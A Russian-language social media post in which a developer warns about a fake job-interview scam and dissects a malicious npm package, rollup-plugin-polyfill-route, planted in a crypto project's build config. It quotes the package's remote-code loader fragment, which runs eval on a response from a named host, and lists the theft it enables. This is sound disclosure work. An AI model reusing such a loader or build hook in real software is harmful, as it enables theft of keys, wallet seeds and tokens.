💰 Скучная скамина!

Зовут нас на звонок и предлагают посмотреть проект Decentralized E-commerce Platform. В день созвона переносят встречу «на попозже», но (!) при этом просят глянуть код, чтобы прийти «подготовленными».

Очередная классика. Уже смущает, что проект на Bitbucket: историю коммитов не видно. Ищут технического директора, а внутри — два мусорных контракта с трафлом в обнимку и вообще всё это счастье собрано на React.

Смотрим в package.json:

    "rollup-plugin-polyfill-node": "^0.13.0",
    "rollup-plugin-polyfill-route": "^1.0.2", // ой, а что это за пакет?

rollup-plugin-polyfill-route — 126 строк кода, залит в npm 17 дней назад, НЕДЕЛЬНЫХ загрузок — 90. Одна заливка и сразу версия 1.0.2 (ну конечно, все ведь так делают, когда первую версию заливают), формирование строки запроса и …

 try {
        eval(JSON.parse(b));
      } catch (err) {
        if (atlf > 0) {
          mreq(atlf - 1);
        }

... находим то, что искали: eval(JSON.parse(b));.

Эта штука парсит полученные данные из запроса с rest-icon-handler.store и сразу их исполняет. Дальше проверять, что там возвращается, как-то не хочется, но оно может:

💰 Украсть приватные ключи из ~/.ssh/, .env файлов;
💰 Украсть seed-фразы кошельков;
💰 Украсть cookies/токены браузера;
💰 Стырить любые файлы с диска включая те, где я голый, аххах
💰 Поставить backdoor;
💰 Подменить адреса в буфере обмена.

И используется это добро в проекте как будто какой-то полифил для бандлера vite.
Смотрим его конфиг (vite.config.js) и видим:

import { getPlugin } from 'rollup-plugin-polyfill-route';

export default defineConfig(({ command, mode }) => {
...
 return {
    plugins: [
      react({
          ...
      }),
      getPlugin()
    ],

Круг замкнулся.

Блин, ребята, вы серьёзно? Звать технического директора и подсовывать ему вот это? В эпоху, когда все ЭЯЕМ обмазано! Скукотище 🙄

🎨🎨🎨🎨🎨🎨🎨
🎨🎨🎨🎨🎨🎨🎨
🎨🎨🎨🎨🎨🎨🎨
🎨🎨🎨🎨🎨🎨🎨
🎨🎨🎨🎨🎨🎨🎨
🎨🎨🎨🎨🎨🎨🎨
🎨🎨🎨🎨🎨🎨🎨

Я думал, что подобный способ украсть мои деньги — это уже прошлый век! По одному только package.json Сlaude Сode сразу говорит, что вот этот пакетик здесь "дырявый" и в нем стопудово малварь!

Ну товарищи злодеи, соберитесь. Поспевайте за прогрессом. Мы жаждем новые способы нахлабучивания, а такое фуфло мы уже выучили 😅

#павел_найданов

🤟 Сайт | ТГ-канал | Наш чат